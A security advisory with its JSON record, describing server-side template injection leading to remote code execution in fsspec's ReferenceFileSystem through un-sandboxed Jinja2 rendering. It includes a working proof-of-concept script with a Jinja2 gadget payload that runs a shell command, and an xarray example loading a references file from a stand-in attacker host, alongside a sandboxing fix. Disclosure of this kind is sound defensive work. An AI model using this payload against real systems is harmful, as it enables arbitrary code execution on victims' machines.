GHSA-27VJ-QCQG-25RC

Vulnerability from github – Published: 2026-10-05 22:53 – Updated: 2026-10-05 22:53
VLAI
Summary
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.open_dataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

# Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed

Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]

End-to-end via xarray (real-world consumer pathway)

import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)
# RCE fires before any data is materialised.

Tested on

  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with _sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (__class__, __init__.__globals__, __subclasses__, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fsspec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "2026.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:53:22Z",
    "nvd_published_at": "2026-10-02T17:17:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`fsspec.implementations.reference.ReferenceFileSystem` parses a \"references\"\nJSON document (Kerchunk format) supplied either inline or via a URL. The\nparser renders fields from this JSON through **un-sandboxed**\n`jinja2.Template(...).render(...)` calls in three locations. An attacker who\ncontrols the JSON document \u2014 typically by hosting it at a URL that the\nvictim opens with `fsspec.filesystem(\"reference\", fo=URL)` or via\n`xarray.open_dataset(\"reference://...\")` \u2014 achieves arbitrary Python code\nexecution on the victim machine, before any data is read.\n\nThis mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359)\nin `llama-cpp-python`, where externally-sourced template strings were\nrendered with the default unrestricted Jinja2 environment.\n\n### Affected versions\n\nAll versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in\ncommit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on\nthe latest released version `2025.10.0`.\n\n### Affected sinks\n\nAll in `fsspec/implementations/reference.py`:\n\n| Sink | Location | Trigger |\n|---|---|---|\n| A \u2014 `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` |\n| B \u2014 `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context |\n| C \u2014 `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) |\n\nSink C is the most severe: it is reached unconditionally for any references\nJSON that includes a `gen` field.\n\nThe vulnerable code:\n\n```python\n# fsspec/implementations/reference.py\n# Sink A\n@lru_cache(1000)\ndef _render_jinja(u):\n    return jinja2.Template(u).render(**self.templates)  # \u003c- unsandboxed\n\n# Sink B\ndef _process_templates(self, tmp):\n    ...\n    for k, v in tmp.items():\n        if \"{{\" in v:\n            import jinja2\n            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(\n                temp                                       # \u003c- unsandboxed\n            ).render(**kwargs)\n\n# Sink C\ndef _process_gen(self, gens):\n    ...\n    for pr in products:\n        import jinja2\n        key = jinja2.Template(gen[\"key\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        url = jinja2.Template(gen[\"url\"]).render(**pr, **self.templates)        # \u003c- unsandboxed\n        if (\"offset\" in gen) and (\"length\" in gen):\n            offset = int(jinja2.Template(gen[\"offset\"]).render(...))            # \u003c- unsandboxed\n            length = int(jinja2.Template(gen[\"length\"]).render(...))            # \u003c- unsandboxed\n```\n\n### Proof of concept (Sink C, minimal)\n\nSave as `poc.py`:\n\n```python\nimport http.server, json, socketserver, threading, time, fsspec\nfrom pathlib import Path\n\nPAYLOAD = \"{{ joiner.__init__.__globals__.os.popen(\u0027touch /tmp/fsspec_pwned_$(whoami)\u0027).read() }}\"\nREF = {\n    \"version\": 1, \"templates\": {}, \"refs\": {\"x\": \"x\"},\n    \"gen\": [{\n        \"key\": PAYLOAD + \"/{{ i }}\", \"url\": \"http://example.com/{{ i }}\",\n        \"offset\": \"0\", \"length\": \"0\", \"dimensions\": {\"i\": [0]},\n    }],\n}\n\nbody = json.dumps(REF).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nsrv = socketserver.TCPServer((\"127.0.0.1\", 0), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nurl = f\"http://127.0.0.1:{srv.server_address[1]}/refs.json\"\n\nfor p in Path(\"/tmp\").glob(\"fsspec_pwned_*\"): p.unlink()\ntry:\n    fsspec.filesystem(\"reference\", fo=url)\nexcept Exception as e:\n    print(\"exception:\", e)\nsrv.shutdown()\ntime.sleep(0.3)\nprint(\"markers:\", list(Path(\"/tmp\").glob(\"fsspec_pwned_*\")))\n```\n\nRun:\n\n```\npip install fsspec aiohttp requests jinja2\npython3 poc.py\n# \u2192 markers: [PosixPath(\u0027/tmp/fsspec_pwned_\u003cuser\u003e\u0027)]\n```\n\n### End-to-end via xarray (real-world consumer pathway)\n\n```python\nimport xarray as xr\nds = xr.open_dataset(\n    \"reference://\",\n    engine=\"zarr\",\n    backend_kwargs={\n        \"consolidated\": False,\n        \"storage_options\": {\n            \"fo\": \"http://attacker.example/refs.json\",\n            \"remote_protocol\": \"http\",\n        },\n    },\n)\n# RCE fires before any data is materialised.\n```\n\n### Tested on\n\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14\n- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux\n\n### Impact\n\n`fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk**\nformat, widely used in the Pangeo / Earth-observation / climate\ndata-science ecosystem to provide cloud-optimised views of\nHDF5 / NetCDF / GRIB archives hosted on object storage.\n\nRealistic attack vectors:\n\n- A user opens a community-shared Kerchunk catalogue link via xarray/dask.\n- A managed data-science platform (notebook server, batch job runner)\n  ingests user-submitted Kerchunk URLs.\n- A workflow downloads a catalogue from a bucket whose contents have\n  been tampered with (supply chain).\n\nIn every case, the victim performs no action beyond opening a \"reference\nfilesystem\" \u2014 there is no documented expectation that a data catalogue\ncan execute arbitrary Python code.\n\n### Suggested fix\n\nReplace `jinja2.Template(...)` with a shared\n`jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This\nmatches the post-incident hardening applied to `llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n    import jinja2.sandbox\n    env = getattr(_sandboxed_env, \"_env\", None)\n    if env is None:\n        env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n        _sandboxed_env._env = env\n    return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
  "id": "GHSA-27vj-qcqg-25rc",
  "modified": "2026-10-05T22:53:22Z",
  "published": "2026-10-05T22:53:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2029"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/pull/2039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fsspec/filesystem_spec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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